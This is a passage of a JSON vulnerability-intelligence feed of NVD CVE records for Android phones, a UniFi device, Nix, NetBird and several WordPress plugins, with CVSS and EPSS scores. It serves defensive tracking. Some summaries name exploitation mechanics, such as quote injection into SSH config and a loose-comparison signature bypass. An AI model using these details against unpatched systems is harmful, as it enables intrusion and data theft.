score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110459&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110459, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107153","cveId":"CVE-2026-107153","aliases":[],"kind":"vulnerability","title":"Multiple smartphones provided by Rakuten Mobile, Inc.","summary":"Multiple smartphones provided by Rakuten Mobile, Inc. utilize AOSP test keys for their Android Verified Boot (AVB) functionality. With physical access to the affected device, a crafted system image may be installed.","detail":"Multiple smartphones provided by Rakuten Mobile, Inc. utilize AOSP test keys for their Android Verified Boot (AVB) functionality. With physical access to the affected device, a crafted system image may be installed.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T06:17:05.390Z","updatedAt":"2026-10-15T20:39:32.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:P/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107153","asOf":"2026-10-15T20:39:32.067Z"},"epss":{"probability":0.00196,"percentile":0.0917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107153","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107153","type":"primary","publishedAt":"2026-10-14T06:17:05.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110455","cveId":"CVE-2026-110455","aliases":[],"kind":"vulnerability","title":"A malicious actor with access to the network and under certain conditions could exploit an Improper Input Validation vulnerability found in UniFi Protect AI Key to execute a...","summary":"A malicious actor with access to the network and under certain conditions could exploit an Improper Input Validation vulnerability found in UniFi Protect AI Key to execute a Command Injection on the device.","detail":"A malicious actor with access to the network and under certain conditions could exploit an Improper Input Validation vulnerability found in UniFi Protect AI Key to execute a Command Injection on the device.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T05:16:43.647Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Ubiquiti"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110455","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.01205,"percentile":0.68069,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110455&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110455","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110455","type":"primary","publishedAt":"2026-10-14T05:16:43.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110455&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110455, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110450","cveId":"CVE-2026-110450","aliases":[],"kind":"vulnerability","title":"Nix before 2.35.3 and Lix before 2.95.4 allow privilege escalation via a repair operation because it could destroy and then replace a store path before content verification.","summary":"Nix before 2.35.3 and Lix before 2.95.4 allow privilege escalation via a repair operation because it could destroy and then replace a store path before content verification.","detail":"Nix before 2.35.3 and Lix before 2.95.4 allow privilege escalation via a repair operation because it could destroy and then replace a store path before content verification.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T05:16:42.917Z","updatedAt":"2026-10-19T20:17:52.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110450","asOf":"2026-10-19T20:17:52.023Z"},"epss":{"probability":0.00151,"percentile":0.0421,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110450","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110450","type":"primary","publishedAt":"2026-10-14T05:16:42.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105429","cveId":"CVE-2026-105429","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements in the NetBird client SSH configuration manager (client/ssh/config/manager.go) in NetBird versions 0.60.0 through 0.74.6 allows a...","summary":"Improper neutralization of special elements in the NetBird client SSH configuration manager (client/ssh/config/manager.go) in NetBird versions 0.60.0 through 0.74.6 allows a malicious or compromised peer to execute arbitrary commands on other NetBird client hosts. The client writes a system-wide OpenSSH drop-in file (/etc/ssh/ssh_config.d/99-netbird.conf, or the equivalent under %PROGRAMDATA%\\ssh\\ssh_config.d on Windows) that embeds each peer FQDN or hostname inside a double-quoted Match host directive without escaping. A peer name containing a double quote breaks out of the quoted context and injects arbitrary SSH configuration directives, including exec commands, which run locally as any user on the host the next time that user runs ssh. Desktop clients on Linux, macOS, Windows and FreeBSD are affected; the Android and iOS apps are not. The issue is fixed in version 0.74.7, which accepts a peer FQDN or hostname only if it is a valid DNS name.","detail":"Improper neutralization of special elements in the NetBird client SSH configuration manager (client/ssh/config/manager.go) in NetBird versions 0.60.0 through 0.74.6 allows a malicious or compromised peer to execute arbitrary commands on other NetBird client hosts. The client writes a system-wide OpenSSH drop-in file (/etc/ssh/ssh_config.d/99-netbird.conf, or the equivalent under %PROGRAMDATA%\\ssh\\ssh_config.d on Windows) that embeds each peer FQDN or hostname inside a double-quoted Match host directive without escaping. A peer name containing a double quote breaks out of the quoted context and injects arbitrary SSH configuration directives, including exec commands, which run locally as any user on the host the next time that user runs ssh. Desktop clients on Linux, macOS, Windows and FreeBSD are affected; the Android and iOS apps are not. The issue is fixed in version 0.74.7, which accepts a peer FQDN or hostname only if it is a valid DNS name.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T05:16:42.487Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105429","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00584,"percentile":0.47634,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105429&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105429","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105429","type":"primary","publishedAt":"2026-10-14T05:16:42.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105429&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105429, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101924","cveId":"CVE-2026-101924","aliases":[],"kind":"vulnerability","title":"The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.5 via the 'Last referrers' meta box on the plugin's...","summary":"The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.5 via the 'Last referrers' meta box on the plugin's Overview admin page. This is due to insufficient output escaping of the visitor-supplied query string that the plugin records in its statistics table: the newstatpress_generate_overview_lastreferrers() function concatenates the stored urlrequested value into a single-quoted href attribute after only FILTER_SANITIZE_URL, which does not encode the apostrophe. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a high-privileged user, such as an administrator, accesses the Overview page and hovers the injected link.","detail":"The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.5 via the 'Last referrers' meta box on the plugin's Overview admin page. This is due to insufficient output escaping of the visitor-supplied query string that the plugin records in its statistics table: the newstatpress_generate_overview_lastreferrers() function concatenates the stored urlrequested value into a single-quoted href attribute after only FILTER_SANITIZE_URL, which does not encode the apostrophe. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a high-privileged user, such as an administrator, accesses the Overview page and hovers the injected link.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T05:16:41.567Z","updatedAt":"2026-10-14T19:17:00.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101924","asOf":"2026-10-14T19:17:00.763Z"},"epss":{"probability":0.00309,"percentile":0.23479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101924&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101924","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101924","type":"primary","publishedAt":"2026-10-14T05:16:41.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101924&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101924, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97398","cveId":"CVE-2026-97398","aliases":[],"kind":"vulnerability","title":"The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'synopsis' Shortcode Attribute in all versions up to, and including,...","summary":"The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'synopsis' Shortcode Attribute in all versions up to, and including, 7.5.54.7212 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the 'Parse Vimeo and YouTube links' (parse_comments) option to be enabled and the liststyle attribute set to \"season\" for the vulnerable code path to be reached.","detail":"The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'synopsis' Shortcode Attribute in all versions up to, and including, 7.5.54.7212 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the 'Parse Vimeo and YouTube links' (parse_comments) option to be enabled and the liststyle attribute set to \"season\" for the vulnerable code path to be reached.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:19:05.300Z","updatedAt":"2026-10-14T15:17:28.457Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97398","asOf":"2026-10-14T15:17:28.457Z"},"epss":{"probability":0.00309,"percentile":0.2348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97398","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97398","type":"primary","publishedAt":"2026-10-14T04:19:05.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96661","cveId":"CVE-2026-96661","aliases":[],"kind":"vulnerability","title":"The Gmedia Photo Gallery plugin for WordPress is vulnerable to time-based SQL Injection via the 'gmedia__in' parameter in all versions up to, and including, 1.25.1 due to...","summary":"The Gmedia Photo Gallery plugin for WordPress is vulnerable to time-based SQL Injection via the 'gmedia__in' parameter in all versions up to, and including, 1.25.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The unauthenticated mobile app endpoint dispatches the library action without validating the Mobile App feature flag, a nonce, or any WordPress authentication, meaning no account or session of any kind is required to exploit this vulnerability.","detail":"The Gmedia Photo Gallery plugin for WordPress is vulnerable to time-based SQL Injection via the 'gmedia__in' parameter in all versions up to, and including, 1.25.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The unauthenticated mobile app endpoint dispatches the library action without validating the Mobile App feature flag, a nonce, or any WordPress authentication, meaning no account or session of any kind is required to exploit this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:19:01.350Z","updatedAt":"2026-10-14T18:19:47.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96661","asOf":"2026-10-14T18:19:47.643Z"},"epss":{"probability":0.00454,"percentile":0.39105,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96661","type":"primary","publishedAt":"2026-10-14T04:19:01.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95816","cveId":"CVE-2026-95816","aliases":[],"kind":"vulnerability","title":"The Smart Forms – when you need more than just a contact form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formString' parameter in all versions up...","summary":"The Smart Forms – when you need more than just a contact form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formString' parameter in all versions up to, and including, 2.6.104 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce check protecting the rednao_smart_forms_save_form_values AJAX handler is only enforced when the smart_forms_block_anonymous_submissions option is enabled, meaning default installations require no authentication or nonce verification whatsoever to submit and store malicious payloads.","detail":"The Smart Forms – when you need more than just a contact form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formString' parameter in all versions up to, and including, 2.6.104 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce check protecting the rednao_smart_forms_save_form_values AJAX handler is only enforced when the smart_forms_block_anonymous_submissions option is enabled, meaning default installations require no authentication or nonce verification whatsoever to submit and store malicious payloads.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:56.647Z","updatedAt":"2026-10-15T17:17:32.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95816","asOf":"2026-10-15T17:17:32.740Z"},"epss":{"probability":0.00365,"percentile":0.30053,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95816&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95816","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95816","type":"primary","publishedAt":"2026-10-14T04:18:56.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95816&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95816, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95808","cveId":"CVE-2026-95808","aliases":[],"kind":"vulnerability","title":"The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to blind SQL Injection via the 'inputs' parameter in all versions up...","summary":"The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to blind SQL Injection via the 'inputs' parameter in all versions up to, and including, 1.15.48 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The nonce required to reach the vulnerable handler is emitted to every public page that renders a form, making it trivially obtainable by an unauthenticated attacker from page source.","detail":"The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to blind SQL Injection via the 'inputs' parameter in all versions up to, and including, 1.15.48 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The nonce required to reach the vulnerable handler is emitted to every public page that renders a form, making it trivially obtainable by an unauthenticated attacker from page source.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:56.467Z","updatedAt":"2026-10-14T15:17:27.840Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95808","asOf":"2026-10-14T15:17:27.840Z"},"epss":{"probability":0.00434,"percentile":0.37411,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95808&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95808","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95808","type":"primary","publishedAt":"2026-10-14T04:18:56.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95808&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95808, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94377","cveId":"CVE-2026-94377","aliases":[],"kind":"vulnerability","title":"The Verified Reviews (Avis Vérifiés) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moderation' parameter in all versions up to, and including, 2.4.6...","summary":"The Verified Reviews (Avis Vérifiés) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moderation' parameter in all versions up to, and including, 2.4.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The authentication bypass is possible because ntav_check_data() uses loose != comparisons for signature verification, allowing a JSON body with boolean true values for idWebsite and sign to pass all checks on any configured installation.","detail":"The Verified Reviews (Avis Vérifiés) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moderation' parameter in all versions up to, and including, 2.4.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The authentication bypass is possible because ntav_check_data() uses loose != comparisons for signature verification, allowing a JSON body with boolean true values for idWebsite and sign to pass all checks on any configured installation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:55.297Z","updatedAt":"2026-10-14T18:19:36.297Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94377","asOf":"2026-10-14T18:19:36.297Z"},"epss":{"probability":0.00392,"percentile":0.33019,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94377&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94377","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94377","type":"primary","publishedAt":"2026-10-14T04:18:55.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 